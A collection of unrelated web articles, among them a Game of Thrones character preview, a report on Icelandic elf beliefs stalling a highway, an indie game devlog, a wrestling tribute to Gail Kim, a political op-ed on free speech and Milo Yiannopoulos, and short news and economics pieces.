The fate of Thorne is unknown, as he was last seen being dragged away by his brothers after sustaining battle wounds, but he was clearly still alive. Although the Watch is technically operating without an elected Lord Commander, it’s been Thorne who’s been serving as the de facto leader, which makes his uncertain health just another question mark on the already convoluted future of the Watch. Now that the wildlings have been defeated, expect a formal vote to occur sometime in Season 5 where the Night’s Watch will formally elect a Lord Commander.
Janos Slynt
Between Joffrey, Walder Frey, and the Bolton boys, there have been some pretty vile characters in Game of Thrones, yet I find myself hating Janos Slynt the most. Slynt has been around since Season 1, where he commanded the City Watch in King’s Landing and duplicitously told Ned Stark that the his men would support Ned’s plan to out Joffrey as a bastard. Slynt lied, as he’s prone to do, and when Ned confronts Jaime Lannister, the City Watch attacks Ned’s men, killing all of them (including Jory Cassel) and allows Ned to be taken prisoner. That’s only Season 1, and that’s already enough for me to convince you that Slynt’s the worst. For further proof, let me remind you of the scene during the Battle at Castle Black where Slynt sheepishly seeks refuge from the fighting in the food pantry, only to be greeted by Gilly and her baby. Seriously, this man sucks! And he’ll continue sucking in Season 5.
Sam Tarly
It might have taken four seasons and his entire life, but Sam “The Slayer” has officially arrived. He may have bumbled his way into killing a White Walker (something, mind you, that hadn’t been done in thousands of years), but Sam manned-up during the Battle at Castle Black and earned his cloak. It will be interesting to see how this newfound self-confidence effects Sam in Season 5.
Gilly
Out of all the horses in which to hitch your chances to survival to, Sam Tarly is as far from a thoroughbred as a man can be. But miracles do occur, and whether it came in the form of a dragonglass dagger or an unknown tunnel through the Wall, or some out-of-place compassion from a murderous Ygritte, Gilly has survived, despite the odds stacked against her. Currently, she's at Castle Black where Sam has promised to protect her. There's only one problem, women are not allowed at Castle Black. Let's see how this plays out.
Stannis Baratheon
Everyone knows the type of person who, when in an argument, will plant their feet and refuse to see the other side of the story. Stannis isn’t that type of person. Stannis will not only plant both his feet down, he’ll pour cement over them and berate you for your shortcomings through gritted teeth. After all, he chopped the fingers off of the man who saved his life, and if that doesn’t perfectly define his character, than I don’t know what will. Stannis begins Season 5 at the Wall, having recently defeated the wildlings and taken Mance Rayder prisoner. Though Stannis covets the Iron Throne, he’s almost as far away from it as he could possibly be right now, and he’ll have to work his way south, where he won’t have safe passage to do so unless he can convince the northern lords to side with him. As an expert strategist, it’s safe to assume Stannis will have a few ideas up his sleeve in Season 5.
Melisandre
After I finished watching LOST, I feared that I’d never again witness another death via smoke monster, but Melisandre proved me wrong in Season 2. A priestess of R’hollor, Melisandre believes that Stannis is Azor Ahai – a hero destined to defeat the Great Other. After being left home during Stannis’s defeat in the Battle of the Blackwater, Melisandre made sure to accompany him for his trip north, where she’ll continue to influence Stannis’s decisions.
Davos Seaworth
I respect Davos more than any other character in the series. He’s the moral center of the show, and he’s not afraid to stick to his gut and speak his mind. It’s clear that Stannis respects Davos’s opinions, as displayed by his new title as Hand of the King. Being that George R.R. Martin has a tendency to kill off moral characters, I fear for Davos’s longevity. But for now, Davos resides at the Wall with Stannis.
Mance Rayder
Like the wildlings he oversees, the King Beyond the Wall kneels for no one, regardless of titles. Unfortunately, Mance didn’t see the Stannis Inquisition coming, and he’s now been taken prisoner. Knowing Melisandre and her fondness for king’s blood, Mance might want to keep his head on a swivel.
Tormund Giantsbane
Myths don’t bother themselves with average men, so even though Tormund might not actually have fooked a bear (You know you read that as Ygritte.), and his member may or may not be thrice the size of other men, rumors like this don’t associate with the unworthy. As proven by his impressive fighting in the Battle at Castle Black, Tormund is no joke. Even with multiple arrows protruding, he still refused to go down, and was taken away kicking and thrashing. Like Mance, Tormund is currently a prisoner at Castle Black, and he was last seen drinking with Jon Snow in remembrance of Ygritte.
Bran Stark, Meera Reed, and Hodor
As writer and executive producer David Benioff announced earlier this year, it has been confirmed that Bran, Meera, and Hodor will not be appearing in Season 5. The reasoning is simple enough: the show had already caught up to the end of Bran’s storyline from the books, and it made little sense to rush ahead, especially considering the various other storylines that still need to be flushed out. Bran and company were last seen finally arriving at the weirwood cave that houses Bloodraven (The Three-Eyed Raven), whom they had been following per Jojen’s greendreams for the better part of the last two seasons. We’ll pick back up with Bran in Season 6, where hopefully we’ll have a new book to read, a new season to enjoy, and a six-foot Bran to watch ride on Hodor’s back.
Thanks for reading, and check back next Friday for my recap of everyone I’ve yet to discuss, including the Stark sisters, an idle Dragon Queen, a wayward warrior woman, a banished knight, the Bolton boys, and a Littlefinger. And then get ready for the premiere, which I'll be discussing here on Monday, April 13th! Until then, Valar Morghulis.
Joe Brosnan is an editor and writer for Criminal Element. He’s a New York Giants fan, a Petyr Baelish supporter, and is only now realizing how weird it is to write in the third person. You can follow him on Twitter @joebro33.
Enlarge this image New Line Cinema/Reuters /Landov New Line Cinema/Reuters /Landov
Here's a sentence we didn't expect to read today:
"Elf advocates have joined forces with environmentalists to urge the Icelandic Road and Coastal Commission and local authorities to abandon a highway project building a direct route from the Alftanes peninsula, where the president has a home, to the Reykjavik suburb of Gardabaer."
According to The Associated Press, "they fear disturbing elf habitat and claim the area is particularly important because it contains an elf church."
As All Things Considered reported back in 2007, elves are a big part of Icelandic culture. They reportedly make their homes in crags and rocks. We're not necessarily talking little guys like Hermey from that TV classic Rudolph, the Red-Nosed Reindeer. Some of the 13 types of elves in Iceland are "as tall as humans," Slate says. They also aren't likely to be as glamorous as Arwen, from Lord of the Rings. According to Slate, Iceland's elves are said to "often dress in old-timey, 19th-century outfits like homemade-looking ankle-length skirts."
Terry Gunnell, a folklorist at the University of Iceland, told the show that elves help Icelanders make sense of nature.
"Icelanders' houses can be knocked down by a force they can't see in the form of an earthquake," he said. "You look up at the sky, you've got the Northern Lights there. The wind can knock you off your feet. The wind can take shapes in the snow. So things can manifest themselves."
In 2006 and 2007, Gunnell directed a survey of 1,000 Icelanders. According to Iceland Review:
"Only 13 percent of participants in the study said it is impossible that elves exist, 19 percent found it unlikely, 37 percent said elves possibly exist, 17 percent found their existence likely and eight percent definite. Five percent did not have an opinion on the existence of elves."
Those who believe they've encountered elves take things very seriously. Last year, The Reykjavik Grapevine reported that:
"Member of Parliament Árni Johnsen recently arranged for the transportation of a 50 tonne boulder from the Hellisheiði mountain pass to his backyard in Vestmannaeyjar — a more ideal environment Árni says, for the family of elves who inhabit it. Yes, a set of grandparents, a couple of parents and three children, who stand no more than 80 centimetres tall, have reportedly joined the 4,000 people who live on the small island off the south coast of Iceland. "Árni says he became acquainted with these particular elves after a high-speed crash in 2010, wherein his car torpedoed 40 metres off the highway, destroying the vehicle, but leaving him unscathed. '[The elves] told me that they wanted to be in the grass,' Árni says. 'Now they have windows looking toward the sea and the island, and some sheep as neighbours. Everything is under control.' "
So it's probably not too surprising that concern over the possible effect on "Huldufolk" (hidden folk) is one of the issues raised in a legal challenge to the proposed highway. According to the AP:
"The project has been halted until the Supreme Court of Iceland rules on a case brought by a group known as Friends of Lava, who cite both the environmental and the cultural impact — including the impact on elves — of the road project."
Ragnhildur Jonsdottir, a self-proclaimed seer who says she can communicate with the elves, tells the AP it would be a "terrible loss and damaging both for the elf world and for us humans" if the road is built.
Another seer, though, thinks it's possible that the elves could be talked into moving their church out of the road's way. But Erla Stefánsdóttir also tells Iceland's Visir newssite that "they love this place." The local elves, trolls and fairies, she says, need to be consulted.
Turns out asking for free money from the government is really hard.
The National Science Foundation has a program called the Small Business Innovation Research (SBIR) grant, whose “funding is intended to allow recipients to bring innovative new products and services to market that drive the commercial success of the small business.” Basically, if you’re working on some kind of new technology that advances scientific advancement or education, they can provide $225,000 (that you don’t have to pay back!) to develop it.
Obviously, this sort of thing is hella competitive and requires a lot of writing to convince them that you have a project that’s worth it. I spent the entire month of November building the grant from the ground up — fifteen pages of business plans, societal benefit justifications, market projections, budgets, and development milestones and timelines.
I don’t think I’ve ever done so much writing in such a short period of time, and had to get up to speed in areas I had no experience in. How the heck to you make a market projection? How do you calculate the cost of employee benefits? What organizations do you need to register your business with to interact with the government?
I had to ask for help, which can still be really hard for me. Drawing on Kickstarter backers, Portland devs, and the Reed community, I found people to help proofread, write letters of support, and edit the manuscript. And even with all this, I probably wouldn’t have been able to get it together if a developer friend I made through Playful Oasis hadn’t sent me a copy of her recently-successful application.
The difficulty of getting an SBIR grant weighed me down; what was the chances that they’d actually fund me? What if I was asking for all this help from people for a doomed venture? I had to make a rule to myself to not indulge in negative self-talk; I just had to press forward and focus on what I could learn about the process. I was gonna submit something by the deadline, gosh darn it.
And hey! The final product was actually pretty dang good, imho. It’s technically proprietary information so I don’t think I’m gonna publicly post the whole thing. However, if you’re working on a similar grant, I’d be happy to pay it forward and share it in private by email.
There’s a 4-6 month turnaround on these things, so now we’re just at the point where I’ve sent this off into the universe and gotta move on.
Other ca$h avenues:
Applied for a dreamy job at Supergiant Games (Bastion/Transistor/Pyre). They’re an absolutely fantastic independent studio that happened to have a job opening that I’d love and fits my skills to a tee. If I started working with them, I’d put CL development on hold/weekend status.
Gonna apply to the indie fund, a group of successful developers who invest in new developers. Being privately backed would add some constraints, which I’ve talked about, but I’m moving towards a commercial release anyway so I think the funding and connections would make it worthwhile.
There’s a handful of more government grants out there that I’m gonna keep exploring and applying for as their deadlines approach. I’ll be glad to have done this first one.
School visit:
This last week, I visited a high school in D.C. to informally demo Crescent Loom with students. A couple takeaways:
Needs a lot more tutorials, still.
Different people approach the game in very different ways. Some just click around to see what happens, others get the basic hang of things and then try to design for some self-made objective.
Everybody loves it when you lay and egg and then your baby eats you.
It’s actually a pretty flexible tool; you can use it to show different body designs, ecological interactions, and how different environments call for different strategies.
Changelog:
When I don’t know what to do with myself in situations, I just pop open my laptop and work on small features and bits of polish.
First, the difficulty in getting all the students’ computers set up with the game prompted me to make an installer for the game, now offered as an alternate windows download on itch.io.
Second, a feature that helps load creatures by filtering as you type:
Third, a new menu that lets you set up races:
Forth, painting + lights now listens to symmetry mode:
Finally, I’ve started work on an orientation sensor, with the idea that creatures will be able to use it to stay level. It still needs some significant work to be useful. You can see it here activate when the creature is pointing straight to the right (watch the graph in the bottom-right):
I think that it would be more useful to have an organ that detects the current orientation of the creature, instead of having just a single neuron activate at a set angle. So you’d place your orientation sensor on your creature (sort of like an “inner ear”) and array of neurons like this would show up in the brain:
David Lagana Blocked Unblock Follow Following Jun 17, 2016
By David Lagana (@Lagana)
Six AM comes very early. Over my fifteen years traveling for wrestling, I’ve spent many an early morning at the airport. Security lines are interesting places, especially at that time of day and even worse on holidays. On the day before Thanksgiving 2007, I was traveling from Tampa, Florida where we had just finished Smackdown to Little Rock where I was spending the holiday with a friend. And at that very early morning hour, I saw someone who I hadn’t seen in over three years — Gail Kim.
I’ve worked with hundreds of talents across four different companies during the last two decades. Each have such amazing stories of what got them there, what obstacles they had to over come, and their triumphs to find peace, success and happiness in their personal and professional lives. Time always tells the best story, not a single interaction or moment. Memories, like the catching up with Gail in 2007 at the Tampa Airport, all came flooding back this past week when it was announced that Gail was being inducted in the TNA Hall of Fame.
There was a lot of emotion this week in Orlando. Obviously the incidents involving the shooter at the Pulse Nightclub and the senseless loss of life weighs heavy on our minds. We need to, as a culture, be more accepting of others. Not let hate in our heart or the thoughts in our mind hurt others anymore. Differences need to be celebrated, not cut down. Our entire company stood together with the city of Orlando less than twenty hours after the shooting to show our support. To see an audience of people gather so quickly in the city of this tragedy was very powerful. They were not afraid instead want a night of entertainment to try to take the horror of that day off their mind. The silence in the audience for the tribute before Slammiversary was powerful; full of. so much raw emotion from the audience and performers. We all must work every day to continue pushing love into the world instead of hate. Take a moment and read Josh Mathews blog about this here — http://bit.ly/JMBlog3
We continued to work this week and two nights later, the roster assembled again on the stage for the announcement of the 2016 TNA Hall of Fame Inductee. It was a pure surprise for Gail. You could see the emotion in her eyes the moment it happened. She felt the love from everyone on that stage and the wrestling business after having worked so hard over the last fifteen years; through ups and downs to build a body of work that everyone respected. I did get emotional in that moment because I was so happy for her. I’m not only being a fan of hers but am lucky to have been there through some of her. best times and some of her worst.
I first met Gail in 2002 when she came in for a WWE tryout in Toronto. She was one of three women (Traci Brooks, Gail Kim and Beth Phoenix) being looked at that day. On that day, Gail got signed but the other two did work hard to make it in in the business. Ironically enough, Gail made her WWE debut across the border in Buffalo less than a year later and in her first match won the WWE Women’s Championship. On that day, I remember being assigned to Gail Kim’s promo after she won the match. Gail will admit, promos were not her strong point and in going back and looking — that promo didn’t make the show. From what I remember, we recorded it to be “during the break” and the decision was made not to air it. Gail’s first run in WWE had it’s moments but there was always this feeling that her promos held her back.
In the late fall of 2004, Paul Heyman and I were assigned to work with a few talents in the pre-tape room to see what skills could be built upon; Gail was one of them. On that day, in Peoria, we felt like Gail was making some real progress. She had confidence and showed improvement. Was she the Rock that day, no. We planned to take the tape to show those who requested it to show the progress. That tape was never seen as she was cut that week as the Diva division was “going in a different direction.”
Working with a talent to find their confidence is a very delicate process. We all have these feelings about ourselves; how we perceive our talent and how the world sees us. There are times that require tough love, times that require hand-holding, and time to let the talent fly on their own. Gail has always wanted to be the best and prove that she can do anything. Her leaving WWE in 2004 could have been the end. But instead, she took time to evaluate her future and ended up going to TNA Wrestling.
Gail’s career hit its stride in the mid-2000s during her time competing In the Knockout Division. And in 2007 when I saw her at the Tampa Airport, she was really hitting high gear. She had just won the Knockouts Title at Bound for Glory and was on the doorstep of her program with Awesome Kong. Six AM conversations at airports are usually about what you did the night before but I saw how happy she was with her career. This was also a few months before my end at WWE and I wish I had felt the same. My happiness level was no secret to those who knew me in 2007. And like I had said earlier, time tells the best stories. This early morning at the airport was simply a time stamp at where we both were at our lives.
Fast forward to 2011 and life rapidly changed for the both of us. Gail had returned to WWE years earlier but they never capitalized on the magic she had in TNA even having Awesome Kong on the same roster in WWE. Her frustration boiled over, eliminating herself from a battle royal and leaving WWE. Her return to TNA Wrestling came almost simultaneously as I went to work for the company in 2011. Gail talks about the best thing that happened to her during her second tour of WWE was meeting her husband celebrity chef Robert Irvine.
Getting to work with Gail from 2012–2016 in TNA has been so rewarding for me. Gail’s in-ring work continued to be. top-notch. She was the leader of the Knockouts Locker room and set the standard for the quality of wrestling. Gail is very passionate in her approach to the business and wanted to capture people’s attention. Her program with Taryn Terrell did just that. Taryn, like Gail, came to TNA to prove that the woman you saw in WWE was not who she really was. It was in these series of matches that they both proved who they really were. Gail fought to not only get the Last Knockout Standing match but the ladder match in Vegas. The program is one of my favorites because it caught people off guard and changed perception on these two talents.
During this past year, Gail Kim has done some of the best promo work of her career. In working with her, it was about finding what inside the story she was passionate about. What she could communicate with heart behind it. The conflict with Maria Kanellis hit dead center on Gail’s love for not only wrestling but TNA. This is the place that made Gail Kim the performer she is; let her be her. You felt that in her speech when she was announced as the TNA Hall of Famer inductee. The raw emotion of Tuesday given by the fans and her peers showed she earned this honor and more importantly the respect that goes along with it. I am proud to see Gail grow over the years not only professionally but personally. And I’m glad to call Gail a friend!
If you liked the article, please recommend it, comment, share, RT, do all the things that people do in this social age.
David Lagana
Sick Of It will see the comedy star playing a fictional version of himself, and the voice inside his head
The character of Karl has been dumped by his long-term girlfriend and is now living with his elderly auntie
Karl Pilkington is to star as a version of himself in Sick Of It, a new sitcom for Sky 1.
The channel explains: "Sick Of It is a scripted comedy series that sees Karl Pilkington takes on two roles - himself, and the voice inside his head, as he muddles through the mundane life he may have led if he hadn't met Ricky Gervais and Stephen Merchant."
Karl Pilkington: Sick Of It will follow the character of Karl, a middle-aged man recently ditched by his long-term girlfriend, as he muddles through life and attempts to make sense of the modern world.
Producers say: "Now living with his elderly auntie, Karl's closest companion is the voice in his head, a crotchety, misanthropic alter ego who takes the form of his doppelgänger - it's the uncensored true version of Karl that says what he really thinks without the risk of offending others.
"As Karl attempts to move on from the break up and sort out his life, the voice in his head appears periodically to guide, criticise and dispense his unorthodox philosophy of life."
Karl Pilkington says: "For most people the inner self is there to help make decisions but mine mainly confuses me and pushes me in the wrong direction. I'd say that doing this series was inner self's idea. I've only just realised that I'm playing myself twice but only being paid once. Like I say, my inner self doesn't really look out for me."
The sitcom has been written by Pilkington and director Richard Yee and is being produced by the team behind his hit travel shows An Idiot Abroad and The Moaning Of Life.
Sick Of It will join a line-up of new comedy shows on Sky due to be broadcast in a new 10pm comedy slot. The channel has also announced The Reluctant Landlord, a sitcom starring Romesh Ranganathan.
Talking about the commissions, Sky explain: "As well as starring, Karl and Romesh will each write these often personal (but always funny) stories that will sit in a new 10pm half hour slot that's dedicated to edgier and more mischievous comedies.
"These new British comedies are joining a line-up of shows on Sky 1 from some of the biggest names including; comedy thriller Bounty Hunters starring Jack Whitehall and Oscar nominee Rosie Perez; and Sick Note - Rupert Grint and Nick Frost's tale of a terrible lie that spirals out of control - both of which have already been slated for the 10pm comedy spot later this year."
Commissioner Jon Mountague comments: "Working with Karl Pilkington and Romesh Ranganathan is a dream; their shows are shot through with an authenticity that brings a unique, more grown-up comedy edge to Sky 1.
"Evenings are going to be all about laughs on Sky 1 - with our biggest line-up of new comedy coming up, including hour long comedy dramas at 9pm and something a bit more mischievous at 10pm. Coming soon are shows starring Jack Whitehall, Philip Glenister, Lesley Sharp, Rupert Grint and Nick Frost. As a comedy obsessive I'm thrilled to be walking amongst such giants - brilliant talent telling surprising and sometimes challenging comic stories."
For updates, click the button below.
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Conservatives deserve a better poster boy for their right to free expression.
To understand the core of the free-speech challenge in this country, consider the case of a hypothetical young woman named Sarah. In college, Sarah is a conservative activist. She’s pro-life, supports traditional marriage, and belongs to a Christian student club. Her free speech infuriates professors and other students, so the administration cracks down. It defunds her student club, forces her political activism into narrow, so-called free-speech zones, and reminds her to comply with the university’s tolerance policies.
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What does Sarah do? She sues the school, she wins, and the school pays her attorneys’ fees. The judge expands the free-speech zone to cover the whole campus and strikes down the tolerance policy. The First Amendment wins.
Sarah graduates. A brilliant student, she gets a job at a Silicon Valley start-up and moves to California to start her new life. Just as they did in college, politics dominate her conversations, and within a week she gets into an argument with a colleague over whether Bruce Jenner is really a woman. The next morning, Sarah’s called into the HR department, given a stern warning for violating company policy, and told that if she can’t comply she’ll need to find another place to work.
What does Sarah do? She shuts her mouth or she loses her job. Her employer isn’t the government; it’s a private company with its own free-speech rights, and it expects its employees to respect its “corporate values.”
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In a nutshell, this is America’s free-speech problem. The law is largely solid. Government entities that censor or silence citizens on the basis of their political, cultural, or religious viewpoint almost always lose in court. With some exceptions, the First Amendment remains robust. Yet the culture of free speech is eroding away, rapidly.
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The politicization of everything has combined with increasing levels of polarization and cocooning to create an atmosphere in which private citizens are increasingly weaponizing their expression — using their social and economic power not to engage in debate but to silence dissent. Corporate bullying, social-media shaming, and relentless peer pressure combine to place a high cost on any departure from the mandated norms. Even here in Middle Tennessee, I have friends who are afraid to post about their religious views online or express disagreements during mandatory corporate-diversity seminars, lest they lose their jobs. One side speaks freely. The other side speaks not at all.
EDITORIAL: CPAC’s Milo Disgrace
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There is no government solution to this problem. The First Amendment prohibits the state from mandating openness to debate and dissent, and corporations aren’t designed to be debating societies. Nor can the government prevent (or even try to prevent) the kinds of social-media shaming campaigns and peer pressures that cause men and women to stay silent for fear of social exclusion. The solution is to persuade the powerful that free speech has value, that ideological monocultures are harmful, and that the great questions of life can’t and shouldn’t be settled through shaming, hectoring, or silencing.
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It is thus singularly unfortunate that the “conservative” poster boy for free speech is Milo Yiannopoulos.
Milo, for those who don’t know, is a flamboyantly gay senior editor at Breitbart News, a provocateur who relishes leftist outrage and deliberately courts as much fury as he can. How? Please allow my friend Ben Shapiro to explain:
Jews run the media; earlier this month he characterized a Jewish BuzzFeed writer as a “a typical example of a sort of thick-as-pig shit media Jew”; he justifies anti-Semitic memes as playful trollery and pats racist sites like American Renaissance on the head; he describes himself as a “chronicler of, and occasional fellow traveler with the alt-right” while simultaneously recognizing that their “dangerously bright” intellectuals believe that “culture is inseparable from race”; back in his days going under the name Milo Wagner, he reportedly posed with his hand atop a Hitler biography, posted a Hitler meme about killing 6 million Jews, and wore an Iron Cross; last week he berated a Muslim woman in the audience of one of his speeches for wearing a hijab in the United States; his alt-right followers routinely spammed my Twitter account with anti-Semitic propaganda he tut-tutted before his banning (the amount of anti-Semitism in my feed dropped by at least 70 percent after his ban, which I opposed); he personally Tweeted a picture of a black baby at me on the day of my son’s birth, because according to the alt-right I’m a “cuck” who wants to see the races mixed; he sees the Constitution as a hackneyed remnant of the past, to be replaced by a new right he leads.
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Oh, and this week recordings rocketed across Twitter that showed Milo apparently excusing pedophilia and expressing gratitude to a Catholic priest for teaching him how to perform oral sex. (Later, on Facebook, he vigorously denied that he supports pedophilia, saying he is “completely disgusted by the abuse of children.”)
Milo is currently on what he calls his “Dangerous Faggot” tour of college campuses, which has followed a now-familiar pattern: A conservative group invites him to speak, leftists on campus freak out, and he thrives on the resulting controversy, casting himself as a hero of free expression. Lately, the leftist freakouts have grown violent, culminating in a scary riot at the University of California, Berkeley.
Operating under the principle that “the enemy of my enemy must be my friend,” too many on the right have leapt to Milo’s defense, ensuring that his star just keeps rising. Every liberal conniption brings him new conservative credibility and fresh appearances on Fox News. Last week Bill Maher featured him as a defender of free speech, and – for a brief time — he had been expected to speak at the nation’s largest and arguably most important conservative gathering, CPAC. (CPAC rescinded its invitation today.)
Let’s put this plainly: If Milo’s the poster boy for free speech, then free speech will lose. He’s the perfect foil for social-justice warriors, a living symbol of everything they fight against. His very existence and prominence feed the deception that modern political correctness is the firewall against the worst forms of bigotry.
If Milo’s the poster boy for free speech, then free speech will lose.
I’ve spent a career defending free speech in court, and I’ve never defended a “conservative” like Milo. His isn’t the true face of the battle for American free-speech rights. That face belongs to Barronelle Stutzman, the florist in Washington whom the Left is trying to financially ruin because she refused to use her artistic talents to celebrate a gay marriage. It belongs to Kelvin Cochran, the Atlanta fire chief who was fired for publishing and sharing with a few colleagues a book he wrote that expressed orthodox Christian views of sex and marriage.
Stutzman and Cochran demonstrate that intolerance and censorship strike not just at people on the fringe – people like Milo – but rather at the best and most reasonable citizens of these United States. They’re proof that social-justice warriors seek not equality and inclusion but control and domination.
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Historical mine maps and plans are being reviewed after a sinkhole filled with swirling water opened up in the backyard of a home in Ipswich, west of Brisbane.
A neighbour alerted Lynn and Ray McKay about 9:00am after noticing the hole opening up on their Basin Pocket property.
The hole has since increased to about eight metres in diameter.
"Well, we don't get up 'til late because we are retired," he said.
"Nine o'clock I got a knock on the door and it's the chap from next door.
"He was out watering his tomato plants and he said 'Do you want the good news or the bad news?'
"I come out and I've got a hole in the ground, it was only a little one, a metre, and it's just got bigger since."
Queensland Utilities were called, in the belief that a water pipe had burst, however the McKays were told there were no related pipes in the area.
Mayor Paul Pisasale said it could be related the old mines in the area.
"We've identified the fact that there's a shaft put in here many many years ago," he said.
'There's no sewerage lines here. What it is is old mine workings.
"No-one knows what has happened but we will know in the next couple of days."
He said the McKays, who have lived at the house in Coal Street for 25 years, were also victims of the 2011 floods.
"I can assure Ray and Lynn they won't be alone," he said.
"We're there to solve the problem.
"It's a community problem.
"It's not about local government or state government, this is about making sure that these two people know that they are not going to be left alone."
The property has been cordoned off and the McKays have been moved out temporarily.
A Department of Natural Resources and Mines spokeswoman said a review of historical mine maps and plans in the area was underway as part of the investigation into the possible cause.
"The department is working with the Department of Environment and Heritage Protection to determine an appropriate method to pump and dispose of water from the sinkhole," the spokeswoman said.
Topics: disasters-and-accidents, emergency-incidents, emergency-planning, ipswich-4305, qld, brisbane-4000
Last November, a row broke out when it emerged that the Department for Education was consulting on a proposal to remove the feminism section from the politics A-level in Britain, with the move to come into effect in September 2017.
Sources now suggest that feminism will be restored to the syllabus and more female thinkers included.
Under the proposal, the current section on feminism – which includes issues around sex and gender – was to be removed. Some elements, such as the Suffragettes, remained but were to be squeezed into other topics, such as that relating to ‘pressure groups’.
The only woman on a list of 15 political thinkers for sixth-form and college students to study was Mary Wollstonecraft.
Nicky Morgan and Mary Wollstonecraft
The existing syllabus requires students to have knowledge of the core ideas, doctrines and theories of feminist thought, of tensions within feminism and of competing feminist traditions’.
It encompasses the subject areas of sex/gender, gender equality, patriarchy, public/private divide and essentialism. Last year’s AQA politics and government exam paper asked students to: ‘Explain the term patriarchy in the context of feminism.’
At the time, the Department for Education said feminism could still be studied as part of the reformed sociology A-level, and explained that the proposed move ‘tied in with school autonomy and trusting heads’.
But a backlash saw campaigns by activists, including Jacquelyn Guderley, co-founder of Stemettes and a high-profile petition started by 17-year-old June-Eric Udorie, which gained 47,000 signatures.
Shout-out to everyone who signed and shared, to politicians for supporting, to my local MP @RupaHuq and to @JacsGud. — june eric-udorie (@juneericudorie) January 10, 2016
On Change.org, she wrote: "The problem with erasing and writing women out of history is that we only get half the story.
“When women are underrepresented in society, the government should be working to address this problem. As a young woman and student, it is imperative that girls and boys get the full picture at school, or we are doing them a disservice. It has been said that you cannot be what you cannot see. Female role models are important”.
Last month, it was suggested that education secretary Nicky Morgan planned to intervene in the row and would add more women thinkers to the proposal. Suggested named included activists Rosa Luxemburg, Eleanor Marx and Emma Goldman, and writers Simone de Beauvoir and Audre Lorde.
But, according to the latest report, the Department for Education intends to go further and teaching feminism at A-level will now ‘be compulsory’.
The current politics A-level syllabus Credit: DfE
A source told the Independent on Sunday: “Female thinkers have played a key role in shaping political theory not just in the UK but across the world, it’s obviously right that students should have an opportunity to study their work. Consultation responses clearly backed this change.”
Sophie Walker, leader of the Women’s Equality Party, recently met with Nicky Morgan to discuss the proposal. She welcomed the rethink, saying:
“WE are delighted that June and Jacquelyn’s voices have been heard, along with the more than 45,000 people that supported this petition.
“The Education Minister and I discussed the need to make sure feminism stays on the A-level curriculum, and also the need to offer more female role models in all of the subjects we teach so that we can encourage girls to study subjects like maths and science that are too often seen as only for boys.”
The announcement came ahead of a House of Commons debate on the issue today, led by Rupa Huq, Labour MP for Ealing Central and Acton, who said: ‘We must not write out women’s perspectives and contributions to our political history.” The party had earlier accused Nicky Morgan of downgrading feminism to ‘a section on pressure groups’ in the A-level syllabus.
Labour Adjournment debate tonight led by @RupaHuq urging the govt to reinstate feminism on the A Level politics syllabus #teachfeminism — Labour's W&E Team (@LabourEquality) January 11, 2016
Morgan was also urged to reconsider plans in an open letter, published last month in the Independent. It was signed by and signed by Labour MPs, campaigners and union bosses, including TUC head Frances O’Grady, Laura Bates of the Everyday Sexism Project, Caroline Criado Perez, shadow education secretary Lucy Powell and shadow equalities minister Kate Green.
Green said that women were ‘an afterthought’ for the Tories:
“This government’s policies are not developed from the perspective of women, and the impact on women is not properly considered”.
If Marcus Allen had his way, the Oakland Raiders would return to L.A., killing two birds with one stone.
"I'd rather see -- I know people in Oakland won't like this -- the team back in Los Angeles," the Hall of Famer told NBCSN (via ProFootballTalk) at a celebrity golf tournament in Lake Tahoe. "I think it's a viable option. ... We can't have them back at the (L.A.) Coliseum, the Coliseum now is USC's home. ... But there's some locations there that I know I've talked to a few owners (about) and I know that they've liked. I can't divulge my sources though."
Jerry Jones said earlier this year that L.A. is likely to obtain not one, but two NFL clubs; Roger Goodell said Thursday that the league is exploring opportunities there. It seems to be a matter of time before a team returns to L.A., which has been without a franchise since the Rams and Raiders left following the 1994 season.
"I just think it's ripe right now, being the second-largest market and being the entertainment capital of the world, it's almost necessary to have a team there," said Allen, who played for the L.A. Raiders but never called Oakland home. "And I think with the corporate support and the brand that has already been there, that's been established, that has a huge following, I think it'd be a no-brainer."
Goodell also said Thursday that it's possible the Raiders could share Levi's Stadium with the Niners. Allen doesn't believe that would have been OK with the team's iconic owner.
"That's not the Raiders," Allen said. "The Raiders don't share things. ... I don't think Al (Davis) would like it, I can say that right now. He wouldn't be happy at all because to him it's the Raiders and 31 other teams."
If you're still holding on to Los Angeles Raiders gear, consider this welcome news.
Most economists are in agreement that in order to grow an economy, saving is a must. It is saving that funds investment in capital goods like computers, tools, and machinery, which in turn, make the economy more productive. It is argued that, while saving plays an important role in growing an economy, sometimes too much saving can actually be a bad thing.
For instance, it is held that if consumer demand is weak, then more savings will only undermine consumer expenditure and weaken economic growth. After all, it is held, the motor of the economy is consumer expenditure and saving is the opposite of consumption.
According to this way of thinking, if people decide on saving a large proportion of their income, then only a small quantity of output will find a market. Output will have to be low because there will be no demand for larger quantities of production.
Also, it is held that while saving may pave the road to riches for an individual, if the nation as a whole decides to save more, the result may be poverty for all.
What Is Saving?
If John the baker produces ten loaves of bread and consumes two loaves his savings is eight loaves of bread. The baker’s savings is his production of bread minus the amount of bread that he consumed.
The baker’s saving now permits him to secure other goods and services. For instance, he can now exchange his saved bread for other consumer goods or he can exchange it for oven parts and tools.
By exchanging his bread for other consumer goods, the baker can expand the variety of final goods that he can consume at present.
The exchange of his saved bread for oven parts and tools will enable the baker to enhance the oven, which, in turn, will make it possible for him to raise the quality and the quantity of the production of bread.
Note that it is the bakers’ decision that determines how much of his stock of saved bread will be allocated for his personal consumption and how much allocated toward the buying of oven parts and tools.
Also, note that by exchanging his saved bread for oven parts and tools, the baker transfers his saved bread to the producers of parts and tools. The bread, coupled with other final consumer goods, maintains these producers’ lives and well being and allows them to continue in their production activities.
Observe that saving here supports the consumption of the baker and the producers of parts and tools. Also, note that when the baker exchanges his saving for final consumer goods and for tools and parts, he pays for them with his savings. His means of payments are saved loaves of bread.
Is It Possible to Have Too Much Saving?
This is like asking if we can have too much real wealth. The greater the pool of saved final consumer goods, the better the quality and the quantity of tools and machinery that can be made, which, in turn, gives rise to a greater production of final consumer goods, i.e., an increase in living standards.
Saving can never be bad for economic growth. Furthermore, as we have seen, saving is entirely absorbed in the consumption of the producers of final consumer goods and the producers of tools and machinery, i.e., capital goods producers.
So, if saving is the key for wealth generation, then it is absurd to suggest that it may be good for individuals but not necessarily good for the nation as a whole. Since a nation without individuals doesn’t exist, saving being good for individuals must be also good for the nation.
What about the commonly accepted view that the driving force of an economy is consumer demand for goods and services? In this way of thinking, what poses a threat to economic activity is the scarcity of demand. There is, however, never a problem with demand. What always matters is having enough means to support demand.
There's Not Too much Saving. There's Too Much Money Creation.
